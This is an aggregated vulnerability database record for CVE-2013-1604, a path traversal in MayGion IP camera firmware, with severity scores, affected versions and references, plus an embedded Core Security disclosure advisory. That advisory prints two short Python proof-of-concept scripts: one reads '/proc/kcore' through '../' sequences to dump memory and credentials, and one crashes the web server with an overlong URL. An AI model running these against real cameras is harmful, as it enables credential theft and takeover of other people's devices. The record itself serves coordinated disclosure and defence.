ID

VAR-201403-0054


CVE

CVE-2013-1604


TITLE

MayGion IP Camera Directory traversal vulnerability in some firmware

Trust: 0.8

sources: JVNDB: JVNDB-2013-006252

DESCRIPTION

Directory traversal vulnerability in MayGion IP Cameras with firmware before 2013.04.22 (05.53) allows remote attackers to read arbitrary files via a .. (dot dot) in the default URI. MayGion IP Camera is prone to a directory-traversal vulnerability. An attacker can exploit this issue using directory-traversal strings to retrieve arbitrary files outside of the server root directory. This may aid in further attacks. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MayGion IP Cameras multiple vulnerabilities 1. *Advisory Information* Title: MayGion IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0322 Advisory URL: http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: MayGion Release mode: Coordinated release 2. *Vulnerability Information* Class: Path traversal [CWE-22], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1604, CVE-2013-1605 3. [CVE-2013-1604] to dump the camera's memory and retrieve user credentials, 2. [CVE-2013-1605] to execute arbitrary code. 4. *Vulnerable Packages* . Other firmware versions are probably affected too but they were not checked. 5. *Non-Vulnerable Packages* . H.264 ipcam firmware 2013.04.22. 6. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. 7. *Technical Description / Proof of Concept Code* 7.1. *User Credentials Leaked via Path Traversal* [CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close() -----/ 7.2. *Buffer overflow* [CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close() -----/ 8. *Report Timeline* . 2013-05-02: Core Security Technologies notifies MayGion of the vulnerabilities. Publication date is set for May 29th, 2013. 2013-05-02: Vendor asks for a report with technical information. 2013-05-03: A draft advisory containing technical details sent to MayGion team. 2013-05-03: Vendor notifies that all vulnerabilities were fixed in the last firmware version, released April 22nd, 2013. 2013-05-09: Core asks for a list of affected devices and firmware. No reply received. 2013-05-28: Advisory CORE-2013-0322 is published. 9. *References* [1] http://www.maygion.com 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Trust: 2.16

sources: NVD: CVE-2013-1604 // JVNDB: JVNDB-2013-006252 // BID: 60192 // VULHUB: VHN-61606 // VULMON: CVE-2013-1604 // PACKETSTORM: 121787

AFFECTED PRODUCTS

vendor:maygionmodel:ip camerascope:eqversion:6.0

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:05.60

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:6.2

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:6.1

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:05.49

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:05.53

Trust: 1.6

vendor:maygionmodel:ip camerascope:eqversion:05.59

Trust: 1.6

vendor:maygionmodel:ip camerascope:lteversion:09.27

Trust: 1.0

vendor:maygionmodel:ip camerascope:ltversion:2013.04.22 (05.53)

Trust: 0.8

vendor:maygionmodel:ip camerascope:eqversion:09.27

Trust: 0.6

sources: JVNDB: JVNDB-2013-006252 // CNNVD: CNNVD-201305-612 // NVD: CVE-2013-1604

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-1604
value: MEDIUM

Trust: 1.0

NVD: CVE-2013-1604
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201305-612
value: MEDIUM

Trust: 0.6

VULHUB: VHN-61606
value: MEDIUM

Trust: 0.1

VULMON: CVE-2013-1604
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2013-1604
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

VULHUB: VHN-61606
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-61606 // VULMON: CVE-2013-1604 // JVNDB: JVNDB-2013-006252 // CNNVD: CNNVD-201305-612 // NVD: CVE-2013-1604

PROBLEMTYPE DATA

problemtype:CWE-22

Trust: 1.9

sources: VULHUB: VHN-61606 // JVNDB: JVNDB-2013-006252 // NVD: CVE-2013-1604

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201305-612

TYPE

path traversal

Trust: 0.6

sources: CNNVD: CNNVD-201305-612

CONFIGURATIONS

sources: JVNDB: JVNDB-2013-006252

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-61606 // VULMON: CVE-2013-1604

PATCH

title:Top Pageurl:http://www.maygion.com

Trust: 0.8

title:firmware.2013.06.25(h.264)url:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=48900

Trust: 0.6

sources: JVNDB: JVNDB-2013-006252 // CNNVD: CNNVD-201305-612

EXTERNAL IDS

db:NVDid:CVE-2013-1604

Trust: 3.0

db:BIDid:60192

Trust: 2.1

db:EXPLOIT-DBid:25813

Trust: 1.8

db:JVNDBid:JVNDB-2013-006252

Trust: 0.8

db:CNNVDid:CNNVD-201305-612

Trust: 0.7

db:XFid:20131604

Trust: 0.6

db:XFid:84589

Trust: 0.6

db:FULLDISCid:20130528 CORE-2013-0322 - MAYGION IP CAMERAS MULTIPLE VULNERABILITIES

Trust: 0.6

db:PACKETSTORMid:121787

Trust: 0.2

db:SEEBUGid:SSVID-79467

Trust: 0.1

db:VULHUBid:VHN-61606

Trust: 0.1

db:VULMONid:CVE-2013-1604

Trust: 0.1

sources: VULHUB: VHN-61606 // VULMON: CVE-2013-1604 // BID: 60192 // JVNDB: JVNDB-2013-006252 // PACKETSTORM: 121787 // CNNVD: CNNVD-201305-612 // NVD: CVE-2013-1604

REFERENCES

url:http://www.coresecurity.com/advisories/maygion-ip-cameras-multiple-vulnerabilities

Trust: 2.7

url:http://www.securityfocus.com/bid/60192

Trust: 1.9

url:http://www.exploit-db.com/exploits/25813

Trust: 1.8

url:http://seclists.org/fulldisclosure/2013/may/194

Trust: 1.8

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/84589

Trust: 1.2

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-1604

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-1604

Trust: 0.8

url:http://xforce.iss.net/xforce/xfdb/84589

Trust: 0.6

url:https://cwe.mitre.org/data/definitions/22.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://www.exploit-db.com/exploits/25813/

Trust: 0.1

url:http://www.maygion.com

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-1605

Trust: 0.1

url:http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Trust: 0.1

url:http://corelabs.coresecurity.com/

Trust: 0.1

url:http://www.coresecurity.com.

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-1604

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

sources: VULHUB: VHN-61606 // VULMON: CVE-2013-1604 // JVNDB: JVNDB-2013-006252 // PACKETSTORM: 121787 // CNNVD: CNNVD-201305-612 // NVD: CVE-2013-1604

CREDITS

Nahuel Riva and Francisco Falcon from Core Exploit Writers Team

Trust: 0.9

sources: BID: 60192 // CNNVD: CNNVD-201305-612

SOURCES

db:VULHUBid:VHN-61606
db:VULMONid:CVE-2013-1604
db:BIDid:60192
db:JVNDBid:JVNDB-2013-006252
db:PACKETSTORMid:121787
db:CNNVDid:CNNVD-201305-612
db:NVDid:CVE-2013-1604

LAST UPDATE DATE

2025-04-13T23:05:15.761000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-61606date:2017-08-29T00:00:00
db:VULMONid:CVE-2013-1604date:2017-08-29T00:00:00
db:BIDid:60192date:2014-08-27T00:23:00
db:JVNDBid:JVNDB-2013-006252date:2014-03-27T00:00:00
db:CNNVDid:CNNVD-201305-612date:2014-03-26T00:00:00
db:NVDid:CVE-2013-1604date:2025-04-12T10:46:40.837

SOURCES RELEASE DATE

db:VULHUBid:VHN-61606date:2014-03-25T00:00:00
db:VULMONid:CVE-2013-1604date:2014-03-25T00:00:00
db:BIDid:60192date:2013-05-28T00:00:00
db:JVNDBid:JVNDB-2013-006252date:2014-03-27T00:00:00
db:PACKETSTORMid:121787date:2013-05-28T19:22:11
db:CNNVDid:CNNVD-201305-612date:2013-05-30T00:00:00
db:NVDid:CVE-2013-1604date:2014-03-25T18:21:16.637